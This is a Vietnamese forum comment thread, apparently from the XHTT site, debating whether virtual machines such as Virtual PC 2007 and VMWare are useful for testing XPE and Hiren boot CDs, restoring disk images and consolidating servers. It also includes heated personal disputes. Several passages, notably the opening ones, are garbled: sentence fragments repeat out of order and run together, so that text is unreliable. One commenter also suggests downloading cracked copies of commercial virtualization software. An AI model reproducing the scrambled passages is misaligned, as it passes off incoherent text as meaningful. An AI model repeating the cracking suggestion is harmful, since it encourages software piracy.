Chính mình mới vừa nói trong góp ý trước là restore không thể được khi máy tính đang chạy. Dr Hoàng DrHoàng Email: drhoang@*****. chạy trong CD sao? Chuyện sao khó tin quá . bạn làm sao làm được máy ảo trong mày thật làm gì trong lúc XP đang chạy. được không nào ? Dr Hoàng DrHoàng Email: drhoang@*****.. convert y như máy thật. Bạn thử qua PM 805 máy ảo coi resize các partition. được không nào ? Dr Hoàng . Nhung khi bạn không boot vào được máy thật ( trục trặc). khi bung ra ở máy thật hay máy ảo? Nếu làm ở máy thật. khi bung ra ở máy thật hay máy ảo? Nếu làm ở máy thật.*** trả lời Bạn centos5f4vn. Lại mâu thuẩn nữa rồi. bạn làm sao làm được máy ảo trong mày thật làm gì trong lúc XP đang chạy. Lại mâu thuẩn nữa rồi. convert y như máy thật. Dù bạn có để file image ấy ở đâu. Nhung khi bạn không boot vào được máy thật ( trục trặc).board. Bạn thử qua PM 805 máy ảo coi resize các partition.. Dù bạn có để file image ấy ở đâu. thì no comment thêm. Acronis làm được điều phi thường này sao là restore lại không cần reboot. Acronis làm được điều phi thường này sao là restore lại không cần reboot.*** trả lời Bạn centos5f4vn. chạy trong CD sao? Chuyện sao khó tin quá . thì no comment thêm. Chính mình mới vừa nói trong góp ý trước là restore không thể được khi máy tính đang chạy.

mà đúng ra là Bill Gates Xin lổi các bạn về chuyện đánh nhầm tên của ông trùm Microsoft này. không kiểm tra lại cho kỷ nên tôi đã đánh nhầm Bill gated . Nên với các phần mềm như PQMagic. máy ảo add ổ cứng của máy thật (ổ C. Tôi không thử Ghost. Tuy nhiên tôi cũng ngồi thử xem sao. tôi khởi động từ ATI trên máy thật để clone ngược lại. . Máy thật chạy XP. drhoang Email: drhoang@*****. Sorry do đánh qúa nhanh để trả lời góp ý. Ví dụ như clone disk được. . Dr Hoàng centos5f4vn Email: centos4_vn@*****.** Địa chỉ: free4vn.. Khi đã ra file image rồi. Tôi chốt lại lần nữa là các phần mềm khi chạy trên máy ảo hãy thực hiện các thao tác trên máy ảo đó.. DrHoang đọc kỹ lại đoạn tôi viết để tránh phải giải thích mất thời gian. nhưng ghi dữ liệu lên đó lại phải cẩn thận và rất dễ gặp lỗi.*** trả lời Bạn Giang thân mến.***.*** bổ sung HI all . tôi thử Acronis True Image 11. Việc can thiệp vào phần cứng (cụ thể là ổ cứng) thật là hạn chế và có nhiều giới hạn. D) và tôi vẫn chạy ATI để clone ổ C (của máy thật) ra một file image. Nên với kết luận là không dùng máy ảo để cứu hộ máy thật thì khỏi phải mất thời gian nữa.org Doc ky? Về Ghost? Tôi cũng đã nói là không có ý tưởng gì hay ho về chuyện từ máy ảo ghost máy thật. vẫn chạy được trên máy ảo.DrHoang Email: drhoang@*****.

bạn cũng cần cập nhật sớm mọi thông tin XPE 32 bit thêm đi. bổ sung từng cái plugin hoạt động chứ không ai làm sẳn như Ubuntu để trên mạng cho bạn download xài đâu. MultibootCD\DVD. Hy vọng ngày ấy không xa lắm. Quốc không biết phê bình một người thế nào là vừa phải. hoặc sáng tạo thêm cái mới gi cho Ubuntu không? Hàng ngaý chắc bạn vào mạng (chuyên viên mạng) nhiều rồi chứ gì?. Do vậy.911cd.Cơ quan của bạn nhiều nhân viên IT mạng cao cấp mà lại xài thứ cứu hộ làm sẳn (ready made only) như là Hiren.org bàn về XPE. các trang web chân chính( no warez ) như www.*** Địa chỉ: HN .). đặc biệt cho Ubuntu dể khỏi xài dòng lệnh rắc rối.( XPE do tự chính mình làm ra cho máy mình. WinPE.net và www. Dr Hoàng DUY LINH Email: hamsterd@*****. Cho nên bạn đừng nói sao cứ loanh quanh XPE mà bạn lại nói không biết nên không giúp gì. chứ đừng đứng đây lớn lối chửi rủa( bằng những ngôn từ thật hạ cấp như( cha nội. đến tận răng cơ đấy. hiểu chưa ông bạn?. Ubuntu sao? Họ có cập nhật. soft quá hạn chế. Tôi sẽ xài qua Ubuntu và phục nhân viên IT của bạn bạn sát đất. USB boot sẽ không cho phép bất cứ ai bàn luận về Hirenboot CD cả. Điều tiếc là ở ngoại quốc. Chừng nào chuyên viên IT của bạn sáng tác điều gì mới. đúng chuẩn mực sao? Chê bác Hoàng biết cái đếch gì thì tôi cũng chê bạn chả biết cái đếch gì về phép lịch sự ở nơi đây cả. ai nấy đều là dân có học thức. Hãy minh chứng tài nghệ của Quốc giỏi hơn hẳn Bác Hoàng ở những điểm nào đó đi. Cái đó hoàn toàn không hay ho gì ở người có hiểu biết tin học đâu.*** vài lời với Bảo Quốc Quốc.msfn. DUY LINH Tạ Ngọc Tuấn Email: tangoctuan@*****. biết cái đếch gì ) với người mà mình đã tạm gọi là bác.

hoặc sáng tạo thêm cái mới gi cho Ubuntu không? Hàng ngaý chắc bạn vào mạng (chuyên viên mạng) nhiều rồi chứ gì?>> Chưa bao giờ bảo cơ quan tui nhiều nv IT mạng cao cấp cả. nhưng rất tiếc đó lại là những điều mà không được thể hiện ra ở đây!!!). Xài Hiren đơn giản vì nó đáp ứng được nhu cầu của mình. và sau đó. DRHOANG:Cơ quan của bạn nhiều nhân viên IT mạng cao cấp mà lại xài thứ cứu hộ làm sẳn (ready made only) như là Hiren.Tôi thấy bác Hoàng chỉ xưng là BÁC với những ai gọi bác là BÁC và tự xưng là CHÁU. Ubuntu sao? Họ có cập nhật. vì bây giờ người trẻ rất giỏi trong việc tiếp cận thông tin.Góp ý chút Tôi đã đọc bài viết của bác Hoàng và những trao đổi xung quanh bài viết đó. không hề có ý gì muốn thể hiện sự tài giỏi của mình thông qua cái chỉ tiêu TUỔI TÁC đó (chỉ có những người rất ngốc nghếch mới dựa trên tiêu chí này để đánh giá người tài giỏi. Lại phải post tiếp rồi. và các bộ máy lãnh đạo nước ta cũng đang dần thực hiện chủ trương TRẺ HÓA). dù có thể kiến thức cậu cũng rất uyên bác. cậu đều trốn tránh không (dám?) trả lời và lại tiếp tục đưa ra những lời nhận xét rất vô văn hóa và thiếu chính xác khác => điều đó chứng tỏ cậu là người rất cùn và kiến thức thật sự không có một chút xíu gì (không biết tôi có nói quá không chứ theo những gì tôi NHÌN và ĐỌC thấy. cậu cũng không (dám?) trả lời những câu hỏi của bác Hoàng dành cho cậu mà chỉ toàn nói những điều rất phiến diện theo ý riêng của cậu và hơn nữa là rất khó nghe.*** hix. Đúng sai thế nào tôi không bàn đến ở đây (tôi không phải Newbie nhưng cũng chưa dám tự nhận là Pro) mà tôi chỉ bàn đến những "bài trao đổi" không mang tính xây dựng tối thiểu: @TẠ CHÍ BẢO QUỐC: Tôi thấy trong bài viết của cậu không đóng góp dù chỉ một chút xíu nào về kiến thức nhưng bù lại. Thân! Giang Email: yellowriver2993@*****. Những điều bác Hoàng nói và hỏi trực tiếp cậu. @Pham Chuong: Cũng gần tương tự như TẠ CHÍ BẢO QUỐC. là đóng góp cho nền IT VN (nghe to tát nhưng thực sự là như vậy đấy). Mình cũng chỉ là người sử dụng bình thường (hàng ngày làm việc . Đã quyết định thôi không bàn luận tiếp nữa rồi mà nghe bác Hoàng nói lại phải vào viết tiếp. cậu lại đóng góp cho mọi người một "khò tàng" những lời lẽ thiếu văn hóa và không lịch sự => điều đó chứng tỏ cậu là người rất thiếu giáo dục một cách cơ bản. Hy vọng các bạn hãy giành cho nhau những sự tôn trọng tối thiểu trước hết là những người lịch sự. thì tôi thấy vậy. Tôi thấy những điều trao đổi mang tính xây dựng là rất hay và thực sự làm rõ ràng thêm mọi thứ.

lý do rất dơn giản.. Giờ bạn thử dành chút thời gian thử nghiệm qua xem sao (dùng lun cái máy ảo ấy cho tiện). Mức dung lượng tối đa của một file đĩa ảo hoá chính bằng mức dung lượng tối đa của một phân vùng lưu trữ file đó (Chẳng hạn nếu máy bạn có phân vùng C hay gọi chung là ổ C với mức là 20GB còn trống thì file ảo đó có mức dung lượng tối đa là 20GB). Tui cũng không muốn bàn nhiều. Virtual PC & VMWare giống nhau ở một điểm là file đĩa cứng ảo. cái nào tốt quen. Về phần phần cứng đó là phần về sau khi bạn đã có cài hệ điều hành. Chủ đề của bài này là máy ảo cơ mà. Mình đã từng xài qua những chương trình Ảo hoá (Virtualization). nó buộc lòng phải lấy thông số máy tính chủ để làm thông số cho nó.. Ubuntu. học thêm về mạng. Virtual PC tuy không hỗ trợ nhiều hệ điều hành bằng VMWare nhưng chạy nhanh hơn và dễ dàng chỉnh sửa hơn. Bạn hoàn toàn có thể sử dụng giao diện đồ họa hay dòng lệnh tùy ý. . Khi bạn sử dụng bất kì chương trình nào khi tạo máy ảo cũng đề hỏi bạn có muốn tạo ổ đĩa ảo hay không. Thực chất của việc này là để giúp các bạn chạy các chương trình trên 1 file tượng trưng cho đĩa cứng nhưng không ảnh hưởng đến các thành phần của máy chủ. Bên Virtual PC nếu bạn là một dân chuyên nhiệp thì có thể thấy nó cho bạn các chọn lựa về đĩa cứng chẳng hạn như Dynamic Expanding (Tự động mở rộng) hay tạo mức dung lượng cố định.. Ở đây mình xin nói là mình không có ý định phê trách ai dở hay ai giỏi mà chỉ có ý định góp ý để các bạn có thêm thông tin. và ổ đĩa cứng thì lấy bằng dung lượng thực chất của đĩa cứng trên máy tính chủ.với máy tính cài winxp. Các chương trình Ảo hoá hiện nay chưa thể khắc phục hết tình trạng ảo hoá. muốn thử nghiệm hdh mới. Việc bạn thấy nó chỉ có 4GB thực chất đó là 1 phần của ảo hoá. thuận tiện thì dùng thôi.*** Địa chỉ: USA Góp ý một chút Hi. Có thể lúc bạn làm đã quên 1 phần nào đó để config hard disk cho nên khi xài hiren bị lỗi. Hiện nay nếu nói về nó thì chỉ có 2 chương trình mạnh nhất là Virtual PC và VMWare. khi hỏng hóc thì dùng hiren. Mandriva.) thui chả cao siêu gì đâu. Bên VMWare cũng thế (Không biết mình nhớ rõ). Mình cũng đâu có ý kiến gì về XPE cơ chứ.. Nguyễn Hưng Thái Email: nguyenthai@*****. ubuntu sửa. mình cài cái đó vô rồi thì nó sẽ nhận hết mọi thứ. Suse. hay cài đặt cái gì đó mà mình cảm thấy có thể ảnh hưởng không tốt tới máy thật mình đang sử dụng (dành cho công việc) thì cài trên máy ảo.kể ra thì cũng khó dùng thật nhưng đó là ngày xưa rùi. lạc đề rồi. Mình đã xem qua các bài viết của các bạn. Theo bạn drhoang (mình cứ xưng là bạn nha) thì nó chạy báo lỗi. Thông thường bên Virtual PC sẽ có phần tên gọi là Virtual PC Additional.

bạn có thể dùng nó để kiểm tra xem file iso có hư hay không. tuy nhiên nếu bạn không có khả năng mua bản quyền thì hạy lên các website để tìm các bản retail hay full hay có crack cũng được (Ở đây các bạn dừng có hiểu nhầm là mình khuyến khích các bạn xài phần mềm bất hợp pháp. Tôi hoàn toàn công nhận các bạn đúng ở điểm máy ảo tương tự( chưa y hệt ) như máy thật. Phục hồi file ảnh ấy trở lại trong máy ảo không thể được vì bạn đã nói kia mà. Virtual PC hay VMWare cũng như vậy. chứ không phải 1 thứ công cụ để sửa chữa máy tính.Chẳng hạn như mình có thể share folder với máy chủ hay nó có thể nâng cao độ phân giải màn hình (Lý do này tại vì car d màn hình nó không lấy của mình mà do nó viết ra sẵng. để test các file iso & thử nghiệm phần mềm mới nói chung. tuy nhiên giửa hai máy vẫn là 1 sự khác biệt.*** trả lời Bạn centos5f4vn thân. Nói tóm lại ảo hoá hay máy ảo là các thành phần hiện nay vẫn chạy trên thông số máy tính chủ. DrHoang Email: drhoang@*****. dùng máy thật để làm chuyện back up. học tập trong môi trường ão. Bạn có thể dùng máy ảo mà không sợ hư hỏng máy chủ. Bởi vì các thành phần máy ảo không đụng chạm đến máy chủ. để thử nghiệm nhiều phần mềm. thì vẫn không thể nào nói là máy ảo giống y hệt máy thật được. các hãng máy tính đều đang nghiên cứu về nó. Chỉ chuỵện ấy thì thấy dùng máy ảo quá rắc rồi rồi. . bất kể cài hệ điều hành gì chăng nữa thì mức cao nhất chỉ là 1024x768). hay có thể dùng đễ cài thêm 1 hệ điều hành mới mà không làm máy tính hư hỏng (Vì cài 2 hệ điều hành là một công việc khó khăn cần phải có một chút hiểu biết về hệ thống nếu không muốn làm hư máy tính). Hiện nay một số chương trình ảo hoá thường là thương mại. ai có khả năng thì nên mua bản chính thức để được hỗ trợ). Lựa chọn chương trình cũng rất quan trọng. restore có phải khoẻ hơn nhiều không. Bạn nói tôi đọc chưa kỹ sao? Công nhận bạn đúng là có thể làm file image với Acronis qua Network Place nhưng sau đó bạn nói lại dùng máy thật phục hồi lại file ảnh ấy. Và máy ảo là để học tập. chỉ là dành cho các bạn không có khả năng mà thôi. Nếu mọi người có thắc mắc hay cần tư vấn thì có thể liên hệ với mình qua email. Ảo hoá có thể giúp mọi người tăng thêm khả năng cho chiếc máy tính mà không cần phải nâng cấp nó. (Tuy không phải là không thể đụng chạm tới nó nhưng rất ít người nào lại làm vậy). Vấn đề ảo hoá hiện nay đang rất nóng vì đó là tương lai của máy tính hiện tại.

Ví dụ như clone disk được. để test các file iso & thử nghiệm phần mềm mới nói chung. hay không. Rất cám ơn góp ý bổ sung kiến thức thật tuyệt của bạn về máy ảo nhung do tôi chưa có nhu cầu nhiều như các bạn. DR Hoàng DrHoang Email: drhoang@*****. chứ không phải 1 thứ công cụ để sửa chữa máy tính. DR Hoàng . nhưng ghi dữ liệu lên đó lại phải cẩn thận và rất dễ gặp lỗi.nhưng còn hạn chế nhiều ở thử ISO. CD do máy ảo dùng driver mô phỏng không phản ảnh thật sự những driver của plugin mình tạo ra muốn thử nghiệm biết có thành công trong môi trường thật.*** trả lời bạn Thái Bạn Thái thân. “ Đồng ý với câu kết luận này của bạn và chúng ta có thể kết thúc tranh luận rồi chứ gì? Dr Hoàng DrHoang Email: drhoang@*****. Bạn đã nói câu cưối cùng “ Việc can thiệp vào phần cứng (cụ thể là ổ cứng) thật là hạn chế và có nhiều giới hạn. dù mình thử nghiệm cài phần mềm hàng ngày cũng nhiều( toàn thử ngay trên máy thật ). không phản ứng những gì mình muốn test coi plugin driver mới làm có hiệu quả tốt trong môi trường thật không? Hiren ISO test những chức năng không cãi với bạn. Nhưng chức năng cho ổ ảo này theo riêng ý tôi nghĩ không phản ảnh thật đúng chức năng thực chất làm trên ổ thật của máy thật sau này.” Test ISO nhưng riêng XPE chưa thể đúng vì driver mô phỏng.*** đinh chính Sorry Sao mình Ðính chính lại chữ sai ( phản ứng ) thành phản ảnh trong phần trả lời bạn Thái. “ Và máy ảo là để học tập.

... .... hoặc bạn cũng có thể sử dụng máy tính ảo để cài đặt các hệ điều hành thuộc dòng Linux hoặc Unix.. những ai quan tâm đến công nghệ ảo hóa. vv... coi không kỹ lại cứ sai và xin lỗi mãi. Trên đây là một vài dòng chia sẻ của tôi với Xã Hội Thông Tin và bạn Dương . Giờ đây. 1 là DC và 1 để lưu trữ Data. nghĩ cũng kỳ thật....) rồi sau đó cài đặt hệ điều hành dành cho máy chủ (WIndows Server xxx) cho máy tính ảo. Để bạn Dương minh Hoàng dễ hiểu tôi xin lấy 1 ví dụ đó là bạn có thể dùng máy tính thật (đã được cài hệ điều hành Windows 2kX) để cài chương trình giả lập máy tính ảo (VD: Virtual PC.vv.. Thay vì bạn phải đề xuất mua 1 máy chủ mới thì bạn có thể cài đặt VP2007 hoặc VMWare và cài đặt cho máy ảo đó thành máy chủ. Vì thời gian có hạn nên xin phép được dừng ở đây.. Để cho Bác Hòang nổ hòai vậy chời.... Tiếc là không có phần chỉnh sửa( edit ) nào lại ngay sau khi gửi góp ý đi do XHTT không buộc member registrer khi góp ý TẠ CHÍ BẢO QUỐC Email: tamtran56@*****. VMWare.đánh cứ nhanh quá. Nguyễn Thái hà Email: thaiha503@*****..*** Địa chỉ: Long Xuyên An Giang Bác Hoàng là ai? Tiếc rằng ban biên tập sao không đăng tin của tui..Công nghệ ảo hóa "có thể" mang lại rất nhiều lợi ích cho bất cứ ai sử dụng máy tính. VD: Hệ thống mạng của bạn đã có 02 máy chủ.. bạn muốn có thêm 1 máy chủ nữa để làm máy chủ backup cho máy chủ DC để đề phòng máy chủ DC bị lỗi hoặc hỏng.*** Phản hồi bài viết: VIRTUAL PC 2007 và VMWARE 60 liệu có hữu dụng thực sự? Chào các bạn! Điều đầu tiên tôi muốn nói là không hiểu vì lẽ gì mà Xã Hội Thông Tin lại cho đăng những bài viết không có chuyên môn như thế này! Nói 1 cách đơn giản nhất thì mục đích của công nghệ ảo hóa là cho phép 1 máy tính có thể làm nhiều việc của các máy tính khác nhau trong cùng chung một môi trường phần cứng. Tôi rất sẵn lòng trao đổi với các bạn..

tôi sẳn sàng học hỏi ở bạn đây?đã công nhận Vmware chạy thử tốt những chương trình tương tự máy thật trong môi trường ảo.? Thế bạn không thấy vẫn còn quá nhiều bài còn sai sót về kiến thức tin học căn bản ở đây được đăng sao. Bạn giải thích ra sao khi muốn thử plugin về driver Wireless. . Kiến thức tin học vô hạn. CD của Vmware chưa hoàn hảo được chứ. hoang nghia tai Email: hoangtaidth@*****. trong khi Sincerely.Minh Hoàng. chỉ là một chút kiến thức sơ đẳng trong công nghệ ảo hóa có thể chưa là đủ để giúp dừng cuộc tranh luận này.Em dung hiren chia o nhung ko dc.*** Địa chỉ: ha noi Tel: 0976207877 Chao cac pro xin chao! em dung VMware. có ai mãi không chịu học bao giờ? đề cập đến vấn đề chạy thử ISO.*** trả lời Có gì bạn lại không hiểu XHTT Cám ơn lời góp ý của bạn nhưng tác giả bài viết vẫn có quyển Bạn vẫn có thể bổ sung bằng một bài viết chính bạn thật dầy Tôi ( tôi vẫn không đăng những bài không có chuyên môn thế này. card âm thanh Audigy ở XPE cho chạy ISO trong máy ảo. XPE ) y như máy thật xài sau này đi. máy in . Sở dĩ có tranh luận hoài không dứt vì vẫn có người còn cho máy ảo giống y máy thật. đúng không? Và bạn chứng minh nó làm hoàn hảo chạy thử iSO và CD( hiren.Em can chia them 1 o cung nua thi lam the nao?mong cac pro chi giup DrHoang Email: drhoang@*****.đồng ý chuyện này). Tuy nhiên. làm sao biết có hiệu quả plugin mình làm ra cho XPE ấy. với những dòng này tôi mong rằng XHTT sau này sẽ có nhiều bài viết với chất lượng chuyên môn thực sự để xứng tầm là 1 tạp chí của tập đoàn VNPT. đủ về Vmware.Nhung trong may ao chi co 1 o cung.

không có cài phần mềm đầy đủ giống như như máy thật. đúng không? Và bạn chứng minh nó làm hoàn hảo chạy thử iSO và CD( hiren. Tôi còn muốn bổ sung một khiếm khuyết nữa của Vmware khi bạn thử nghiệm phần mềm trên ấy thấy qúa tốt. card âm thanh Audigy ở XPE cho chạy ISO trong máy ảo. Chỉ cần khác nhau 1 vài cái thôi. Bạn vẫn có thể bổ sung bằng một vbài viết chính bạn thật dầy đủ về Vmware. CD của Vmware chưa hoàn hảo được chứ. tôi sẳn sàng học hỏi ở bạn đây? Tôi đã công nhận Vmware chạy thử tốt những chương trình tương tự máy thật. thì việc đánh gía riêng phần mềm test cũng không thể đúng vì khi chạy trong máy thật (với quá nhiều phần mềm cài vào hơn bao năm). máy in .. Bạn có cao kiến chỉ dạy xin mách xem.Dr Hoàng đó máy ảo chỉ dùng driver mô phỏng? DrHoang Email: drhoang@*****. Điều này vẫn chưa thể nào chắc chắn 100 o/o vì sao? Lý do đơn giản bạn không thể cài mọi thứ phần mềm dùng test ở máy ảo (y hệt như vô số phần mềm khác đã cài bao năm qua trong máy thật đang chạy).. Sở dĩ có tranh luận hoài không dứt ở đây vì vẫn có người còn cho máy ảo giống y hệt máy thật. cho là nó sẽ vẫn tốt vậy khi cài vào máy thật sau này.*** trả lời Bạn Hà thân. Dr Hoàng DrHoang Email: drhoang@*****. tôi sẳn sàng học hỏi ở bạn đây. làm sao biết có hiệu quả . Bạn giải thích ra sao khi muốn thử plugin về driver Wireless. XPE ) y như máy thật xài sau này đi.*** trả lời bổ sung do hư online Cám ơn lời góp ý của bạn nhưng tác giả bài viết vẫn có quyển đề cập đến vấn đề chạy thử ISO. Có cái sẽ xung đột với phần mềm test nếu trong máy ảo dùng test. trong môi trường ảo.

Mong được bạn bổ sung để học hỏi thêm. Ông bạn cứ tha hồ bắt bí bác Hoàng thoải mái bằng cách trả lời đúng ngay câu hỏi mà bác Hoàng đã đặt ra nhờ bạn giải quyết ở máy ảo sao cho ổn thoả nhất.*** gop y Thái Hà. mới thấy cái sở đoản khi chạy ISO. Mong lắm đấy. “ Điều đầu tiên tôi muốn nói là không hiểu vì lẽ gì mà Xã Hội Thông Tin lại cho đăng những bài viết không có chuyên môn như thế này!” Bác Hoàng có thể chưa thật đúng khi chưa nhận ra hết cái hay của các phần mềm ảo hoá. Dù sao. Nhờ có tranh luận quá sôi nổi về phần mềm ảo. ông bạn cũng không nên dùng những từ quá tự phụ. chúng tôi đã học và rút ra kinh nghiệm rất nhiêù ở trang web này đấy. test phần mềm nào đó qua tốt trong môi trường ảo( có ít phần mềm không giốn ghẵn máy thật ) không có nghĩa sẽ đúng 100o/o ở môi trường thật sau này vì vẫn có thể bị xung đột với quá nhiều phần mềm đã cài bao năm qua. trong khi đó máy ảo chỉ dùng driver mô phỏng? Ngoài ra. thật đúng mức giữa những người có học với nhau. Tôi thâý bạn phê bình bác Hoàng nặng nề như vậy khi chúng tôi còn chưa hề thấy bài nào chuyên môn của ông bạn ra thế nào cả. Dr Hoàng Thanh Liên Email: thanhlien21@*****. Chúng tôi còn phải học tiếp ở ông bạn đấy. Câu đầu tiên của bạn dùng góp ý với bác Hoàng khiến tôi thất vọng về bạn quá. CD trong máy ảo không phải như mong đợi của bác ấy.. Phê bình giữa 2 người lúc nào thế nào là chừng mực. cho là bài ấy không chuyên môn. .plugin mình làm ra cho XPE ấy.

theo ý kiến của tôi. Trong sự học và trao đổi về máy tính bác cứ nói đến tuổi tác làm cái gì??? Ngoài ra.*** trả lời bạn Chương Bạn Phạm Chương thân. . nhưng tiện nhìn bài này: http://xhtt. Thanh liên đều là tôi cả. hay họ chỉ góp ý thêm máy ảo. bác làm vậy để làm gì nhỉ??? DrHoang Email: drhoang@*****. Xin lỗi anh bạn về điểu này nhé. liệu có binh gì tôi quá cỡ ở một điểm nào vậy. mấy hôm vừa rồi tôi không reply lại vì nghĩ k hơi đâu nói qua lại với bác. Có thể thôi. Tiếc là sao bạn không bao gồm luôn anh bạn Tạ Ngọc Tuấn Hà nội cũng là tôi cho đủ bộ sậu luôn. Bạn ấy binh tôi dữ đằn hết ý lắm( cám ơn anh bạn Tuấn ). tôi thấy mấy bạn duy linh. toi nghi bác giả danh nick để phản hồi tự bênh vực bản thân. "bắt quả tang" nên "phản ánh" luôn.*** Địa chỉ: da nang gop y "Cháu Thắng thân.vn/index." đây lại là một bài tôi thấy drhoang đề cập đến chuyện tuổi tác. thanh lien giọng điệu giống drhoang lắm. Tôi thấy bạn Thắng nói chả có gì vô lễ theo cách xưng hô em với drhoang cả. Bạn Tuấn ở cái link bạn cho biết. phê bình ngay chính bạn sao cứ bắt lỗi tôi sao nói tuổi tác hoài. là quyền cá nhân của bạn. Bác 64 tuổi rồi không còn trẻ nên cháu lưu ý cách xưng hô cho đúng. Thế còn hai ông bạn Linh hay Liên kia. đúng là không có gì vô lễ với tôi cả nhưng tôi nghĩ bạn ấy còn trẻ chắc chắn không thể nào trên 50 nên xưng em là chưa đúng. xưng bác không đúng chỗ.Pham Chuong Email: chuongpt@*****. mà bác phải lôi tuổi tác ra đây.. Nhưng so sánh bạn với Quốc thì hoàn toàn không đúng rồi.asp?id=&subjectid=9396#comment16077. Nhưng có điều gì tôi giúp bạn ấy có gì sai không nào? Tuổi tác cao có liên quan vể chuyên môn tin học ở đây? Bạn nghi Duy Linh.

nhưng mà tôi cứ thấy mail hoài.*** Tiếp tục về một vấn đề không nên tiếp tục. Tuy nhiên. Đồng nghiệp của tôi khi nghe tôi kể về bài viết này tất cả đều cười. đơn giản là chép đè file HDD của VMWare là xong. 2. vì chúng tôi chẳng viết driver hay chương trình liên quan tới phần cứng.6 máy ảo trên một server để đỡ phí. Nhớ cho tôi chỉ dùng tên thật Dr Hoàng ( hay Dương Minh Hoàng M. Tội gì tôi phải cần tới nickname này nọ. địa chỉ 29 Nguyễn Trãi Biên Hoà . Đáng lẽ ra tôi chẳng vào đọc tiếp. Mỗi server là một môi trường để test cho mỗi dự án khác nhau. Chả ai dùng VMWare để test driver cả. Lợi thế thứ 2 là không cần phải ghost hay TrueImage gì cả.Liệu 2 người ấy có binh tôi hết ý bắng anh bạn Tuấn Hà Nội không nào? Sao anh bạn không nghi ngờ và xem kỹ lại bạn Tuấn vậy? Bạn cứ trả lời ngay câu hỏi mà bạn Tuấn đặt ra cho bạn đi nhé. cũng đủ sức trả lời mọi công kích. phê bình các bạn nào còn chưa hiểu tôi thôi. và ai cũng biết thừa là chuyện ấy không thực hiện được. . Về vấn đề này chắc bác Hoàng ok chứ nhỉ. ĐT 061-3847145. Windows cứ phải là chạy ầm ầm đúng không? 2. chúng tôi cài 5.D ) ở đây. Tải bình thường của server là 30%. không có gì phải sợ bất cứ ai góp ý lịch sự với mình cả. nếu vì thế mà cho rằng VMWare không đáng 299$ thì thật là không phải. 1. Vì lẽ chúng tôi sử dụng ảo hoá không vì mục đích ấy. 1. Về vấn đề tương thích phần cứng thì chúng tôi cũng không quan tâm. thì về nguyên tắc là không được backup.Tất cả tôi chỉ mong chúng ta chỉ dùng các từ lịch sự trao đổi học hỏi thêm thôi. xin mạn phép được góp một số ý kiến. Tôi rất đồng ý với ý kiến của Dr Hoàng về vấn đề ảo hoá không test được driver mà bác ấy tạo cho XPE. Dr Hoàng nguyenduy Email: nguyenduy162@*****. Vì giả sử muốn chạy một HDH khác hay tạo lại HDH. nên cũng tò mò vào xem.. cám ơn và xin lổi anh bạn nhé. Chắc ai cũng tính được chi phí tiết kiệm là bao nhiêu. Nếu bạn tính giá 1 server trung bình là 2000$. Miễn sao window chạy được là ok. Và đối với server thì chả ai cắm Audigy lên đó làm gì cả. Bạn có biết 1 server giá bao nhiêu không? Và tải của nó thường là bao nhiêu? Vì lẽ đó. Còn máy chủ thật. Tôi cũng đồng ý với ý kiến của bạn Thái Hà về việc bài viết không phản ánh đúng mục đích của ảo hoá. VMWare không phải là ảo 100%. Dear all. Môt lần nữa.

Nếu dùng để xài hàng ngày thì quả là quá khó khăn. Ở công ty tôi. lý do rất đơn giản là các driver đó là do bạn add vào XPE nên XPE vẫn xem là một hệ điều hành live. tôi thấy nếu bác Hoàng chỉ căn cứ vào đó mà kết luận VMWare chả làm được gì và cái giá 299$ là mắc thì bị phản đối là đúng rồi. những người làm ra nó chưa hoàn thiện một cách triệt để. Chúc bạn thành công hơn trên cuộc sống của bạn. Thục chất XPE vẫn là một hệ điều hành mà. nếu KH yêu cầu dùng Linux thì coi như chịu chết nếu không có máy ảo . Chả nhẽ một ngày chúng tôi phải ghost hàng chục lần. Tôi cũng chả thấy ai khẳng định với bác là các phần mềm của bác sẽ chạy ok trên máy ảo cả. Trên một số bài báo viết về PE hay XPE hay thâm chí một số phần mềm cứu hộ. máy in thì không có vấn đề gì nhé. cũng không dám khẳng định nốt. vì lẽ chúng tôi làm dự án cho Nhật. Nếu dùng máy ảo để test những cái đó thì chắc chắn là không được. Khẳng định luôn cho ý kiến của bác Hoàng. Mình có 1 lời khuyên. mong bác cũng đừng khăng khăng với ý kiến đó nữa. Mình nói đến đây thôi. dễ dàng xài hơn VMWare.vì sử dụng window có bản quyền. Nếu bạn cần gì cứ trực tiếp liên hệ vào email mình nguyenthai@inbox. Cuối cùng. nhưng wireless. đương nhiên phải dùng win Jp. Tôi sử dụng máy ảo tùm lum rồi. Mà LTV thường thì không biết tiếng Nhật. người ta thường hay nhắc nên sử dụng máy ảo để test các chức năng của nó. Vì thực tế máy ảo chẳng ra là một chương trình dựa vào thông số máy tính chủ để làm.com. Tiện lợi khi sử dụng máy ảo. không đi sâu thêm vào. DrHoang Email: drhoang@*****. Nếu bạn nghĩ dùng máy ảo để test driver cho XPE thì đó thực là một đều không thể làm được ở hiện tại. nếu bạn muốn xài máy ảo thì cứ xài thử Virtual PC 2007. Tuy nhiên. và máy ảo có thể coi là một máy tính trong trưởng hợp đó. chạy trên CD hay DVD.*** Re: Gop y Bạn drhoang thân mến. Ngoài ra. Nguyen Hung Thai Email: nguyenthai@*****. Ở đây mình chỉ góp ý thêm. Kính chào. 4. Bạn muốn test driver thì vân có thể làm trên máy ảo được. về Audigy thì tôi không biết. cuối cùng phải dùng máy ảo. Tuy không phải là một người rành về XPE (Tạo hoài không chạy vì thiếu phần mềm) nhưng về các ứng dụng mình vẫn có thế nói một cách rõ ràng nhất. Bởi vậy nên. 3.*** . Hiện nay những chuyên gia về máy tính đang hoàn thiện nó. hầu hết đều dùng máy ảo. Mình không nghĩ là bạn không thể test trên máy ảo được. Cần hướng dẫn config thì liên hệ mình sẽ trả lời cho. Hy vọng bạn sẽ có thêm vài kiến thức về máy ảo. Vẫn dùng wifi và in ầm ầm.

